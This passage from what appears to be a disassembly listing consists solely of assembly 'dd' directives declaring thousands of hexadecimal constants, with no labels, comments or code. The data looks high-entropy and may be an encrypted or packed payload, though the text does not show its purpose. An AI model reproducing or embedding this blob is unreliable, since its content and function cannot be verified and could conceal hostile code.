0DC5125D2h, 0A70CE985h, 502EEECFh, 5EF1070Dh, 5BF55AD2h dd 9D693BF1h, 5A602547h, 0D713A833h, 7F68478Ch, 0FF7B4873h dd 58635410h, 26D5A2Fh, 0E32DF896h, 62ED0741h, 3AD240B5h dd 0A8BDF6FCh, 6E1838DDh, 0EB029F58h, 56CC3297h, 59CFA548h dd 0CC73BE26h, 0DF0DCB1Ah, 88931982h, 48FA8702h, 0E7127CF9h dd 28CDFE60h, 25BE7463h, 2371777Dh, 93B1A393h, 2230DC59h dd 0B8C64A09h, 2D58E15Ah dd 5051906Fh, 24BA80E9h, 0C8FD3B5h, 0D1D3A2E2h, 597A8873h dd 4C603C2Ch, 9ED025B8h, 0C9E9128Eh, 0E617D27Bh, 41585602h dd 2A3D04F0h, 1A9E497Eh, 1071E75Eh, 0B85E8F94h, 0D587F06Ch dd 254F31E9h, 7AA9F46Fh, 2F68CDC8h, 7BF308E0h, 0CA109A68h dd 5422D02h, 97D5ABEh, 0CFC304BBh, 682D6BEh, 0F45F48C9h dd 4EC6484h, 8805859Ch, 686F83F1h, 36D919CAh, 70CB2D3Eh dd 2C4CEA82h, 0C9760187h, 0E744EC82h, 0D5634754h, 0F85339F6h dd 5C58C61Ah, 0E86E09D9h, 0F532486h, 27AF46E1h, 0E9645764h dd 167F3B72h, 7A013048h, 79B912CCh, 53A6A02Ah, 580FD5B6h dd 5D6C6335h, 0F11CD967h, 20C2F525h, 0FE89F729h, 6E49E0FCh dd 45907904h, 463EABBDh, 0E60E7B5h, 633C2F68h, 9D2223C5h dd 809FD981h, 0CB9BF7A3h, 9889A437h, 0AFBD0429h, 0AFAE8DECh dd 1A912A88h, 0DA0E1621h, 3277C92Bh, 75E60985h, 68BE7A36h dd 0C6F22D3Bh, 0B88630FDh, 0E312BB10h, 0E0D3B22Fh, 4EF74B96h dd 0D7A0E2DBh, 945EBCA4h, 0D684490Ah, 4CDDEE20h, 0ABE3629Bh dd 3C6488D5h, 0BD5E9E88h, 1BE7A330h, 4A6E8A82h, 0A74C6F10h dd 0C9E6C912h, 0AC6789h, 13516D69h, 2E117DBBh, 30F03753h dd 56F02979h, 489DBE00h, 0CE813DCFh, 92B7CE1h, 79EDE971h dd 8F95326Eh, 2365C958h, 81D83468h, 0FAC158C7h, 0B5FE07F0h dd 0D4FCCF1Ch, 0AEED2A4Eh, 2FAE1FE1h, 3B0C09E2h, 0D42E772Ah dd 14E62217h, 91107512h, 30F95A08h, 9008E985h, 4A2FBD47h dd 0BA649900h, 66696B43h, 9D9BA329h, 26FBAB56h, 0B2B73E93h dd 2C5147B8h, 1BBE4042h, 1848C442h, 0B4357C70h, 1F045171h dd 500617Ah, 3B2407CCh, 3A672D07h, 0E8A02E21h, 9070DA14h dd 511566E7h, 0B0F27B5Eh, 0D6BC6F9Ah, 0B0A8BCA7h, 34CB5A49h dd 0B280BBE2h, 0B996855h, 5D30A167h, 29138DD9h, 0B41627AAh dd 314BBF9Fh, 0D10F291Bh, 39C54F91h, 90DCAB07h, 3DEF0B81h dd 0AB827B75h, 5C6B4DAh, 55BE95F0h, 601EBB01h, 0DF4065B7h dd 5F5BE5ACh, 0ACA6E1B8h, 0CC2F4606h, 45CA040Dh, 0BE291E13h dd 0E5427089h, 62F0F478h, 0F709C466h, 0E585F730h, 0E3819DACh dd 93C23E02h, 0BD0D7861h, 0C8312380h, 5AB25393h, 0ED88609Bh dd 7CBD01C1h, 2B56704Eh, 80C43917h, 5DC5D009h, 0AFFCA99Ch dd 5D164C9Ch, 39FA1390h, 0DA61507Dh, 43B102D1h, 5AD6317Ch dd 6D6E695Ch, 0E22B66F5h, 0ACE9C244h, 5539BAE2h, 292DF2Ah dd 745A3A2Ch, 0D6EC9277h, 0CAA6EFA4h, 0C17E4799h, 0C0361A17h dd 8EBA6E85h, 6898613Fh, 71483B8Bh, 16B688E3h, 9B53E98h dd 9D3F15Bh, 0BCF5A688h, 5C098462h, 0A24AA568h, 978F8E5Dh dd 5DE90F98h, 0C54F73D9h, 0A04DBC28h, 0EF670B5h, 3DB450D5h dd 24C0DCA6h, 0A4098073h, 32CEC4E9h, 12C5E50Fh, 35150452h dd 0C420AE83h, 0D64EF187h, 54BC0106h, 44D1504Dh, 7BCCD99Ch dd 70107D9Ah, 0F62D1DB2h, 8B1119C9h, 41078F8Eh, 0CD54FA96h dd 99EBBFF4h, 5B2CBDDDh, 50420011h, 92E96B2Ch, 0F134016Bh dd 84DEA09Ah, 10529FD8h, 12E9E4EDh, 0ED32689Dh, 4988FC08h dd 277E99B8h, 71DC6011h, 0C0C5C2h, 5D2253BDh, 9BF63374h dd 55068B9Fh, 9FD80CB8h, 157F2C85h, 5689AF98h, 23FABF7h dd 0DD28A98Eh, 0E1F604CEh, 841BFE4Dh, 0DA1BA40Bh, 0AAA085FCh dd 9881144h, 5B514DEAh, 0ED78CE16h, 1DB15103h, 0FA98C980h dd 89D0E9FCh, 0B7017330h, 0ACC1E482h, 0B901F779h, 88613CEh dd 209AC543h, 0FA201483h, 42F39F6Fh, 5C555D0Ch, 0C96182DFh dd 4A47337Eh, 4FC939C8h, 78FDF25Ah, 45C3C82Dh, 222F2F10h dd 4B7DCF60h, 8EF67937h, 5209C5BEh, 7C40FA68h, 0E44C295Ah dd 58DA2583h, 0E2B04590h, 919EDAB5h, 8897084Dh, 4F416806h dd 0AD254E6Fh, 1DF6076Dh, 0FF7850Ah, 0DD982872h, 0D1BD8C5h dd 78F8EC87h, 27264024h, 5D5D50Bh, 17BED7BCh, 2969BA30h dd 0CE57F03Ah, 5BCD1403h, 0CF01C183h, 0B0B47630h, 0A1D0B5D2h dd 6FCA4755h, 572516B3h, 0C888C801h, 0B0503C59h, 283049B7h dd 5FFC5BF8h, 0FEC30E7Fh, 21330972h, 0E509B572h, 0FFD5356Dh dd 1CD06600h, 0CC133D4h, 14C270CFh, 6D829D00h, 59953890h dd 0E95160D9h, 659D7B60h, 0FF5C45D5h, 20068C67h, 0B76525D3h dd 55035EE5h, 0B95D6856h, 802F71ACh, 6D41E20Ah, 8513B190h dd 3DEBA901h, 0B7B0E4FFh, 0B199C3EEh, 8602C488h, 0B369ABE9h dd 1F3DC204h, 7DECF40Ch, 5883313Ch, 327B3A05h, 5DD0193h dd 0FE1D049Bh, 0E9B06B52h, 0E16A4AC7h, 9284FEE1h, 55DD09FFh dd 3FE9351Bh, 228822ACh, 0AC344CB3h, 23E8D39Eh, 658A2F59h dd 0D559CB02h, 68181B6Ch, 0ABD5FDFh, 0D9B38180h, 0D9D480B1h dd 0F6C1FE5Bh, 75ACC5D1h, 0C749FE9Dh, 495BA556h, 2B014CC2h dd 412840DEh, 78190805h, 0CF64560Fh, 0FE481BE0h, 166FED15h dd 0B037051Eh, 419FAC39h, 0E5323007h, 386DD13Fh, 508F930Fh dd 0B0FC2F56h, 0AF6C93C7h, 0C6880E71h, 0E2382B8h, 276BF661h dd 0ED421640h, 837B6681h, 0AF852FEFh, 0AEC022C5h, 0F0204789h dd 39B6BAE7h, 2C26FD88h, 82F816E7h, 89C051B4h, 0EE091565h dd 46F18979h, 0FC83D057h, 273A7404h, 4186ED12h, 1F1CA008h dd 0BB54E97Dh, 5D4ACDE0h, 0B5EAF028h, 9724F57Bh, 462E6F10h dd 0BFD0319h, 0CEB2710Ch, 0F3C0634Ah, 194F1EF6h, 0C6020DFCh dd 31967F97h, 0D9543342h, 0AC04B216h, 60A919E6h, 0A48E6D16h dd 0BBC826Fh, 895DEA89h, 7EB5A3Eh, 0A062A5F2h, 0E150B446h dd 96A22A46h, 0FA79899Fh, 48A782A0h, 594F6D2Fh, 0E23FE9DDh dd 5EE93FF1h, 3DBF1B13h, 0AB026B46h, 0E62D1468h, 0B28097BCh dd 37FF10DEh, 0BE1D3882h, 0EF1617FEh, 0AE658643h, 0C827D839h dd 0E9F504BEh, 89FE6D78h, 4E42AEEh, 49B55435h, 5451F258h dd 48FD8B89h, 8B4F525Fh, 0A1BD4A7Ah, 0A124564Ch, 74FEA5DBh dd 2CC044D1h, 5DE9756Eh, 0E64FE20Bh, 47C1020Eh, 0D099DAB6h dd 0A66E2733h, 0D3F6D66Eh, 3BDAE84Dh, 0FD1F96F9h, 64E7B9A8h dd 0E8F85602h, 0EB9C4D39h, 0E90B3B7Bh, 0EF56AE1Eh, 3916029Eh dd 0B9ADE782h, 243E535Eh, 0B422AD4Ah, 58D1AAC3h, 0B8608357h dd 72DD7345h, 113DED90h, 2383E49h, 0A687E4F5h, 8C7D5C96h dd 6C4F1CDDh, 92147F83h, 0C3C895F5h, 0D42837C0h, 0C250ED67h dd 7A9D5B07h, 58E4E7BDh, 200A6343h, 71E069B7h, 0D34BF0E9h dd 1A1670A3h, 84BA6565h, 5FC1F077h, 0E2911B9Dh, 2BBD43Ah dd 0A6B50BFh, 751833D6h, 1E0B0514h, 88E34CB3h, 0AC1DD0AEh dd 4513A089h, 0AD521617h, 1CEBB58Ah, 0BB38E0FEh, 370604A1h dd 0C80E3C1h, 627A72EBh, 91B8CC5Fh, 9A9E675h, 426A1FBAh dd 0B593EDDCh, 0CF80D245h, 8C8A26C1h, 0C4E0247Eh, 5F16C477h dd 0BBC0D5ACh, 45F2292Dh, 9340AFBFh, 28BE0084h, 984158F4h dd 4EC968D0h, 0B6262116h, 394E6EFBh, 0E0E666A4h, 3025000Ch dd 0C5FE5AF5h, 0E917DDF6h, 61E9B7BEh, 0CC05E4D3h, 0BD94999Dh dd 70A07F0h, 0FDDF715h, 89CA8A8Ah, 0E72962E9h, 5B517DD6h dd 494BB72Fh, 0A4B49637h, 0B4745A27h, 0F5627CA7h, 4C945957h dd 0F7C104E5h, 0BF44A534h, 8BE92982h, 0B89E6508h, 3CA0942h dd 0DB2F0202h, 0B09C5F7Fh, 6722A4A0h, 0E9742F0Ah, 0F78BADA7h dd 0E6045DD0h, 3E80BB48h, 2250F0Dh, 572D4BAEh, 65C16751h dd 0BD243449h, 9804011Fh, 0EEE2989h, 0D749785Bh, 41CF0481h dd 0EA337710h, 61782C6h dd 0B45669C7h, 5B0D659h, 3E9D604Ah, 2941886Eh, 709CA65Bh dd 6866095Ch, 0F6542DCBh, 5A5B142h, 6D1EAE5Dh, 94CE2E42h dd 2D315861h, 332092E2h, 7D91211Ch, 0D5BD5505h, 0E440B436h dd 0DF3409AFh, 16D025E9h, 295862B9h, 59548519h, 407190C8h dd 0F99529CEh, 0EDB03DDAh, 77C6E5D9h, 5F68F52Eh, 0D0503002h dd 3574C01Fh, 7D5A137Eh, 0C2740B42h, 0F7503256h, 0E460C8DEh dd 0A49A92Ch, 0D1AD41FBh, 0A35F4B4Ah, 678A385Eh, 853A5235h dd 0EA90BE4h, 24403264h, 4D91608Eh, 58606FC6h, 0C5EA3798h dd 0EB4D1ABEh, 489F9B6Ah, 0E5A50983h, 137CFEA7h, 0C1A4F20Bh dd 1089880Fh, 4056E924h, 4A4B68F1h, 89A88685h, 17CAE9E3h dd 7C1A6C55h, 0DD0082F8h, 0B7C44CC9h, 8BEE890Ch, 12C714C0h dd 0B097514h, 135E1D57h, 4151D949h, 8212A2E9h, 0E4C5F24Dh dd 0D685C111h, 827634F4h, 2058C6DDh, 909753CBh, 1D5F2DC3h dd 4241B33Ah, 7DE0A98h, 7668877h, 4511D13Ah, 0F488F910h dd 31AACD56h, 45515204h, 5EDF97ABh, 99FD0709h, 3538C263h dd 13595D17h, 0D13DEF7Ah, 0E580453Dh, 7B0DBF57h, 0E9396304h dd 0B1D3CD43h, 0D675BA56h, 358C2CABh, 0D3D4F850h, 7101FE6h dd 0E6891709h, 9F364BAh, 96C203A2h, 0FD0E30FDh, 4BC7B972h dd 0E8D725FAh, 0B98F2CEFh, 4B19B4BCh, 0AFBE940Eh, 0D552868Ch dd 915BB60Ch, 0B8A9D96h, 5A221C68h, 0EE2F0CDFh, 0B4761367h dd 9145070Eh, 0C10962Fh, 2D2C0FFCh, 8517B434h, 0AD726D27h dd 0DB9A7D6Fh, 0A9284AC0h, 0E38B4E96h, 0C24E7E05h, 9A0AA3C7h dd 5871D6A4h, 0E4308EC5h, 1B900BCAh, 3102073Ah, 0C92EBC29h dd 30B9F5FCh, 54EADC51h, 3361534Fh, 0E804B46Bh, 2C331C7Dh dd 0F68116C1h, 0EA2159A9h, 6108D02Fh, 8609878Ah, 0DC7C95E9h dd 80059F80h, 530D16F3h, 9D2D6826h, 608ADE78h, 73966A44h dd 0B6AC3184h, 30C2013Ch, 2104E0A2h, 0D5875231h, 257448ECh dd 100A80E9h, 25C301B9h, 2F1BC2BBh, 566006A1h, 0E1A2B596h dd 15E5FBEBh, 2CE22F1Dh, 63CB2605h, 0A0D4B056h, 6F17C9CAh dd 3706393Ah, 6B51609Eh, 5FA0F685h, 17822F08h, 5D2462BDh dd 0F75BA690h, 52DBC8EDh, 0B85B8A98h, 5C05EFDFh, 3013FE68h dd 0E0E9548Dh, 0F9279D3h, 45687D05h, 0D0B8C801h, 0F85BA962h dd 0FD967F5Fh, 0E566B600h, 0E9F8092Ch, 179E96E6h, 14F3F9F6h dd 77215194h, 4EA1925Dh, 1F4E8FCh, 1977F2C8h, 0B719302Ah dd 92029A41h, 0E05F8917h, 30438D8Eh, 5E340FE5h, 0E9E4171Ah dd 0F123852Fh, 0DAD449C0h, 75AA842h, 0D1326555h, 3AB8041Ch dd 0B84C23E0h, 25C6B2C4h, 7E627EC6h, 95A544F5h, 871369F3h dd 35A0CD52h, 6D5A2E7Dh, 505D1084h, 2A0905E0h, 2896F66h dd 0E76C62Ah, 0AC8B09AAh, 4CC91FF3h, 0BD97DE4Ch, 8B33DA07h dd 96E931C1h, 92D7181h, 5674633h, 49368E07h, 72C887Dh dd 5E11503Eh, 1B1A30E3h, 66296402h, 4A68D9E9h, 4C814C6Bh dd 164A9E97h, 0E91A6CC4h, 2533E5Dh, 6851EB86h, 4E46FDF8h dd 8F4B0FBAh, 9F981313h, 0FE3314B7h, 4D04B3CFh, 0EEDAD8E9h dd 0B9519620h, 0CE1517E4h, 797F0128h, 70693603h, 4081B78Dh dd 0B8FB8E43h, 1331DDAEh, 0FF295DE8h, 0B26B822Dh, 0F5A4D356h dd 0FE34B2A6h, 0F2D1E4CAh, 0FC14BA0Ch, 0A50603Fh, 2C59C828h dd 0B8523630h, 73CF80EBh, 17E770ECh, 0F806EFC0h, 2F84D46Fh dd 8821D18Ah, 0E4269BE5h, 8F788202h, 60E74277h, 9F6B472Fh dd 965D4A62h, 4AF0B563h, 0DE16CA2Dh, 0F100C06h, 1A67EA0Ah dd 55C94A1Ch, 0B16C0605h, 0C4642F6Fh, 0E957D970h, 0B3565B19h dd 0E55F8F74h, 0C353A102h, 207D3EF8h, 94BFE2FAh, 91E82D06h dd 1EC19E13h, 108232ABh, 2D7B979Ah, 66DEF8F7h, 3B0C52E3h dd 0DDAEE079h, 0FFE5ADEDh, 55EA1A3Fh, 4C7D8B3Fh, 930F519h dd 0D1AD406Fh, 0F6A6E25Eh, 0F300162Dh, 4B4F4EBDh, 25188B7h dd 8702C020h, 294CC7AEh, 6956F4EBh, 9528A5F6h, 54514B03h dd 0DE7CE978h, 6D8E2CDFh, 134A6DCh, 3E44105Ah, 0AF8CF443h dd 644EA74Ah, 34E3A1EAh, 7C665D53h, 96CF1C5Eh, 8953E1D5h dd 74DE0338h, 162342FDh, 17862016h, 0B3535A1Eh, 0D7408F68h dd 6C58585Dh, 1592A2Fh, 31F8FD94h, 565CADECh, 0EEAB642Eh dd 0D607C65Eh, 2CD1055Ah, 0EED433DEh, 3A191310h, 7241001h dd 5F11A275h, 565C044Ch, 0D868B30Ah, 2A3E6572h, 95F71DE9h dd 0F77341F8h, 4F894C95h, 68A10080h, 603E14D1h, 33204590h dd 4A6997A6h, 0CB82F3B1h, 0E905D3F9h, 8D89FB2Ch, 0BEE9B56Bh dd 0C20AAF66h, 34E055BDh, 55821B24h, 0A129BF34h, 5701DC4Fh dd 5313E52Dh, 97D709D6h, 5550ADC2h, 0E3FEFBEEh, 0CC15BE0Eh dd 53C02468h, 0D905C4E3h, 0E35F3276h, 2F0296DEh, 0D5A3B6E5h dd 165FFE89h, 4DF2301Ch, 1D51EDAFh, 0F14CC02h, 879A8480h dd 0FAE21C0Ch, 0EE20F502h, 0E5881EF6h, 0BEA1158h, 9088D4Ah dd 19041614h, 49EADBE9h, 63F43AEFh, 0C256B45Bh, 7D8558C7h dd 0E2FAFC53h, 0AF2675D2h, 91FFB399h, 3C4A92C0h, 53025615h dd 46120D68h, 0D981A90Bh, 3D04A54h, 17115203h, 1618F7E0h dd 4F13B418h, 223120Eh, 0E94761A7h, 0D84401A9h, 8718CA03h dd 0E9EBD167h, 392F667Dh, 0E1612A1Eh, 5A02C1CBh, 0C59FC5B8h dd 12D5B982h, 4F202A75h, 2EBD81A6h, 125642F4h, 0E8712268h dd 208CC1DBh, 5F293D04h, 0DF09C338h, 3042FE17h, 0B1951770h dd 93B48F6h, 5A0043F9h, 0F742A18h, 6B0BFA9Fh, 0B0E283A2h dd 0A0F2B433h, 0D29F7A58h, 2EA5A089h, 55F827Dh, 748093CFh dd 16D7F695h, 940F780h, 0B770873h, 4B014687h, 0FAF9C485h dd 0B17E182Dh, 3417CC66h, 8F3E0FB8h, 59740246h, 0F59F10E9h dd 5A76F718h, 0BDC36991h, 0C1088703h, 32D763E9h, 8A0F05FAh dd 0B6E2F44Ah, 0AA896D85h, 6ED7C27h, 0F540977Eh, 0BA3FB0B6h dd 732DD070h, 1343FE04h, 5561BA4Bh, 7D096598h, 6121D29Eh dd 0A06990D2h, 1272C603h, 0C07373Bh, 3E039F8h, 2CCDE6C0h dd 206E981Bh, 6098D33Ah, 38F0712Ah, 0EA09A4B5h, 9ACF6D5h dd 4C946C4Dh, 0B25C1106h, 20005648h, 0F4C6115h, 0C05F8482h dd 1172EEADh, 18C95A3Ch, 987D78D9h, 0F40B5EBh, 6082A25Bh dd 0B5556D37h, 3E2FB4CCh, 0AC957147h, 75C425E1h, 6920A990h dd 0DB5A01Eh, 65022567h, 0E8F49B75h, 23B0BCBh, 830F040Ah dd 8A488836h, 0FD82D120h, 0FE25CA65h, 4BA84F23h, 0E80B6126h dd 48A94E9Fh, 3E38FF51h, 3166D28Bh, 5B48E6FAh, 590C40F2h dd 288F60B5h, 0EA3F9CD7h, 78EA0229h, 4A7552F0h, 0D4080982h dd 3D7C8865h, 7C6C2DBFh, 1858C1D3h, 55AF8804h, 0ED622790h dd 6D4FC50h, 0B2F109E6h, 20A1649Ah, 22B4B0D1h, 9EBD5500h dd 0C702A04Bh, 0C541BB82h, 0BBC0AA3Eh, 77BD3B2Bh, 0BA52010Dh dd 3FB06909h, 82A46121h, 9FDA8E2Eh, 2EC1DDE7h, 0DBE06F89h dd 5E8C40AAh, 7F6B519Eh, 2572158Bh, 2D7461B7h, 5E8493Bh dd 5102F2DAh, 4C208AB9h, 28A07574h, 4102E1C1h, 8541CEDDh dd 0CEE9EA14h, 0A23EB025h, 0FAD77Eh, 0E922F25Dh, 2F9E504Eh dd 0ADF04093h, 246209BEh, 200266Fh, 21550141h, 0ABFDE917h dd 5A4E22BFh, 80B7E655h, 4A467F96h, 0DA70C048h, 8300161h dd 39860E4Dh, 0EC3150D9h, 25EA13BAh, 0C798E0DEh, 0E6CC6841h dd 6EE8A83Fh, 4510B5C3h, 0CC985D54h, 0FA88EC91h, 20D128CCh dd 554FF6BAh, 0E51E5461h dd 1C9BE79h, 4A200A10h, 68A01897h, 0E8715AC8h, 420CCB77h dd 4F14F933h, 0FAD27ACBh, 7658C225h, 147883A4h, 0EFCC0357h dd 9F823634h, 8FA9297Fh, 0C269367Dh, 0DEE95C0Dh, 44B0D6F8h dd 5F2C2B90h, 5427637Ch, 0BE9053Dh, 681498B4h, 0F34C6427h dd 0F95516A8h, 0DF56CBE7h, 0FDF88396h, 0EFD0D99Fh, 0BF90AFEBh dd 3F12E2F7h, 0F00107B4h, 50C3402Ah, 811C843Eh, 0C511EDC1h dd 6212B427h, 91C081Ah, 142B117h, 625368E4h, 66D48929h dd 9460B805h, 4AC335BDh, 9B10AF32h, 20A44C08h, 4E38EA8Ah dd 0FC1F9049h, 5D5E4011h, 89DE4CEDh, 6FA006E9h, 136268ADh dd 0E8899ABDh, 4F02D70h, 0E97C370Bh, 99FEC41h, 7C936859h dd 40D94956h, 59B25261h, 0C92CA12Ah, 0B65AD8E8h, 0C6283702h dd 559A16E9h, 0B5FC2A1Ch, 0BA01419Ch, 522110A1h, 0F76CC13Ah dd 50A89DAh, 0E902014Ah, 0A3F3FADDh, 0CBEABDFFh, 857D264Dh dd 614D54AFh, 41F103E9h, 0E53F7517h, 33F02ED7h, 91EF5D4Fh dd 350CEF4Ah, 16A55h, 0BD0D410Bh, 0FE54A83Ah, 823088F3h dd 8B521DD6h, 0AA66A36Bh, 742D7DB2h, 68DA91C1h, 9E2665EDh dd 65DD9210h, 0E3A35E80h, 84049A48h, 0C1129516h, 0D99B6014h dd 3B687EBh, 137CA0Eh, 8828869h, 9801C30h, 9D4D7EB0h, 8800850h dd 0E9175D59h, 0C9E38C29h, 2CC6110h, 2879C780h, 8C59E3F9h dd 510EB800h, 799F4B7Bh, 0F95F133Dh, 6BE39616h, 32EE6809h dd 0A8B75E22h, 41A9450Fh, 0A66B7921h, 0D3DE5902h, 3226BB82h dd 14BAD758h, 27080C08h, 12D87EF2h, 25686784h, 14C010D3h dd 0B3267415h, 22B46B39h, 28220A5Ah, 0F2279918h, 8BEA9DAAh dd 7056DB31h, 22BF791Ah, 66E396F1h, 4B29B0C0h, 4A96B688h dd 300D2DBFh, 0B88076C5h, 0E84E4AF7h, 8D7E2AAAh, 1D54BA07h dd 1A24FEBh, 0F84CD706h, 809C04Fh, 0C2D47C5Eh, 72E1F1F7h dd 0C4822C56h, 0BB078542h, 8BFE67A2h, 3C40B16Ah, 162BD61h dd 0FF5BDA04h, 0EA3C5B4Ch, 6E6A9840h, 0F5D3D0Ch, 0FA2923CEh dd 3408C2CAh, 8814100Ch, 685ECC20h, 8B136FA9h, 0E23D9634h dd 9BF2155Fh, 0FBF5F302h, 0C4FF6BE2h, 0C2093B90h, 96E071A7h dd 0B305D1B9h, 0CB29E488h, 0F85AEEA3h, 0E8855123h, 390BA33Eh dd 0EE4814E9h, 49D2A069h, 19C9243Bh, 418C057Ah, 0EEC7039Eh dd 35AA1E1Ah, 980CC4F2h, 28266055h, 2D0C24A4h, 52F60139h dd 0F1D48958h, 2FBC2BE9h, 77C42675h, 531596AAh, 329EB81h dd 57EE07Bh, 0C0275472h, 20067E14h, 5842BC07h, 3E4E30B6h dd 80807DE0h, 0E313C181h, 44BA68F0h, 8C703346h, 0D003BD3Bh dd 0B9219715h, 310B16F0h, 845717E9h, 3D01FB82h, 6788135Fh dd 697A48DAh, 0BED2511h, 1207F708h, 0B625AE58h, 41832FF4h dd 411B44FBh, 2805C3DDh, 0DE773067h, 80A6E92Dh, 469BBA99h dd 0C41D4A77h, 10C5A978h, 0F24BD0B4h, 0C2567C57h, 9FB84FD4h dd 243EB441h, 227BFECh, 0E8B899D5h, 5CB8B74Eh, 625412EDh dd 67053CF3h, 84DBF680h, 2AC78332h, 0EA1E3FB6h, 1C1D3585h dd 244EF28Eh, 81AE6048h, 7BBE0AEEh, 20688698h, 0FBFE426Ah dd 1EFD164Eh, 65FABD93h, 1AB5F33Ah, 0C44F945h, 8792F721h dd 9A4561Bh, 3AE2C38Bh, 4F2ACC77h, 0C203E3DFh, 7ED14DE9h dd 4051E681h, 0F8720701h, 5810E90Bh, 0CEFE22Ah, 858EEF84h dd 43CD4077h, 49F418C4h, 81EBD107h, 44504189h, 9689BB2Eh dd 8002ECF9h, 356670E1h, 95C73A34h, 23656871h, 451A8E6Eh dd 616E16h, 69ACB31h, 9ED70DD9h, 0E8E9134Eh, 0BD584344h dd 0A597BF7Fh, 20E7F1E3h, 1C0081CFh, 0C8096773h, 1260D59h dd 353ECC39h, 7AFF3FABh, 4CBB29C0h, 0D1431309h, 216F4E5h dd 3E03F897h, 0F9CA6737h, 0B67F13C9h, 0D829C509h, 0E1752D3Ch dd 0F2208966h, 85D8BD9Dh, 307A96B5h, 805EC0E8h, 9FFEC1C5h dd 5166E8E1h, 0BDF0B176h, 0E9C82809h, 80E5A3E5h, 0AB83EDEFh dd 950C2E4Dh, 5B69109Fh, 0BFC3EF8Ch, 2FDF3FAAh, 0E07F4BCAh dd 0B2A5E90Dh, 5CFEEB3Dh, 0CAC22F3Ah, 0F03931DDh, 7F117801h dd 57275DB7h, 58D4C70Bh, 643BE9E2h, 7914276Ch, 6F603812h dd 8080AD7Ah, 6A863C3h, 87B7288Dh, 0B45053EBh, 1887EEDDh dd 9BD78C6Bh, 0A892ED87h, 14F6F46Ah, 218B1700h, 5E8C140h dd 67800935h, 2845A9Ah, 9F1012CBh, 34977FBAh, 0E95C09C9h dd 0FC73C0A2h, 82BA5200h, 24F3073h, 6817E281h, 0FF40692Ah dd 64053799h, 0A0EEE918h, 2C5C0FB4h, 55AB456h, 23903A86h dd 0B276280h, 759F89BEh, 5545C745h, 0F32D07A4h, 50228C6Ah dd 3E426812h, 347331BEh, 0F33307B9h, 0D549D238h, 0A5127F18h dd 0E9101383h, 0FA335395h, 0B9ACEE24h, 3AC1573Fh, 11EA99Bh dd 8B4E3CF2h, 1AC961Ah, 88F109A4h, 0E9A26A0Eh, 6E5FCECFh dd 0FC544AD4h, 773404E1h, 61807094h, 5E6B88D0h, 0F938C48Fh dd 687B895Ch, 2834F597h, 279A1C59h, 0FB2A5211h, 0F05088C1h dd 0BB042C16h, 0B0157E47h, 3BAE9824h, 0A25A5919h, 46F630D6h dd 0AB328981h, 3E16497Ah, 0C7F4654Ah, 6F67F21Eh, 7AEAD468h dd 3F655BBDh, 0E2AC4393h, 5C7178B1h, 0F79210C3h, 709EC2D2h dd 1A6E9FF6h, 0B0D07320h, 45424F7Bh, 0A4854C1Dh, 0ED40819Ah dd 0B6C35961h, 0D65B0342h, 564B07E9h, 5960E3DDh, 36571394h dd 4173A938h, 0C98E7F08h, 0E094AD24h, 2C08C781h, 4237032Ch dd 8808528h, 0BB2DE95Bh, 6850A148h, 302E43B7h, 60164A54h dd 2F5F524Ch, 200EC6D5h, 249DD2F5h, 7FB71FAh, 0F3CF89A2h dd 8907D793h, 45C856A6h, 7DB4FDA5h, 667712CFh, 0F7D70018h dd 7DD52678h, 0C6FA8928h, 28CCDF20h, 0A86515Dh, 958071Fh dd 85616C5h, 6417D3B9h, 0F83356FAh, 0E955E05Eh, 2F6D9E8Fh dd 95BDF8D9h, 30B6C31h, 0FC33B2BBh, 2D6E94Eh, 8456E23Fh dd 531D6B75h, 0EA44FE70h, 98E349A0h, 829DF0Fh, 0BA3AE945h dd 73BECF16h, 775E5310h, 0A381D074h, 0C96A911Bh, 1470C809h dd 0C13DA506h, 21205E2h, 4A0F473Ch, 0BB59D101h, 710BD9A4h dd 55A9B2FDh, 3325B7F2h, 0B50CC441h, 146BEEF1h, 70789AB6h dd 74E848C3h, 0BB905CC4h, 0A5081ECDh, 12ED4CA5h, 4D9068C2h dd 5D7A34FCh, 65E011CEh, 0A12B5D81h, 27CD7A7Bh, 6E92906Bh dd 6CE1B94Fh, 5D074096h, 7F055548h, 66D0E197h, 0C295B63Fh dd 566F1EE9h, 18E686ECh, 0F61F0A78h, 0EDD6F115h, 355C614Dh dd 0A2E7DAE7h, 84CFCF8h, 0DDD25D8h, 4B7E0C66h, 8A545ACAh dd 289A994Ah, 0D5934281h, 625543CAh, 0A5115FB1h, 0E2D5EAB0h dd 24865700h, 0E7EB0EA7h, 7AFF10AEh, 74D87DCBh, 36CED6B1h dd 46CB0D93h, 52DCA5D6h, 17DD8ABBh, 0DAADD102h, 0F39B6239h dd 3E0A0622h, 0FE045BD8h, 20BAD83Ah, 14585FB3h, 0E24E1ECDh dd 924FA77Ah, 0E9AE8CBFh, 203FF02Dh, 33681D48h, 0AABB1C4Fh dd 31094B0Eh, 0B6C39940h, 403E5514h, 0BC6905F6h, 2B95867Bh dd 10AC8BAEh, 0CA4A80ABh, 0A841106Dh, 6EF7E9A1h, 3034A21Ch dd 0B050B900h, 0A1102C26h, 0AA057E8Ch, 46234A12h, 0AB12ACF6h dd 0BDD57781h, 0E8B61097h, 9E32560h, 0C70F6B6h, 0C779F644h dd 6C412D18h, 0BE51045Ah, 6B5E4975h, 0F273A320h, 56028A92h dd 587AC043h, 0E906812Dh, 0DE23AA76h, 1F2E4A78h, 0A848559Bh dd 25AEBC4Fh, 0DB5FFCB4h, 0B9D7A89Ah, 0AE88564Eh, 2C26D067h dd 2F0FB424h, 0A96E0F5Fh, 9703D81Fh, 9FFEF416h, 4FB0489Fh dd 1327711Dh dd 884DDDF7h, 0BDA25E92h, 0D990D2D2h, 5E89F540h, 84FD12EFh dd 42DC8FACh, 0CBE9093Ah, 0EEDE1097h, 873A5ED0h, 8A61D2EEh dd 0D12D5972h, 2836F6EBh, 53FC0024h, 0B8506FDAh, 0D92D639Eh dd 0C78EF071h, 1B195E98h, 593C7182h, 6885D7FBh, 8EAF39C8h dd 1F044ABBh, 0CEEBA7C0h, 1D2F48F1h, 18CF02C3h, 57AE530Fh dd 100BE75Fh, 0B2098DDDh, 387759E6h, 600AE9A2h, 480520AFh dd 0AD7A66EAh, 0B076F49h, 77A7C280h, 0FD304C82h, 394338C1h dd 44D4184Ch, 225EE73h, 68389EF0h, 56C627D3h, 0F13C8B27h dd 315E50B1h, 0B482F84Eh, 84B492C9h, 0AE1674E6h, 0E00DDC00h dd 0C964CF73h, 0BFD4B4A2h, 2D3E2C6Fh, 0ACFE9501h, 7E8A615Ah dd 64B18C3Eh, 0F17F20BDh, 76FE21E8h, 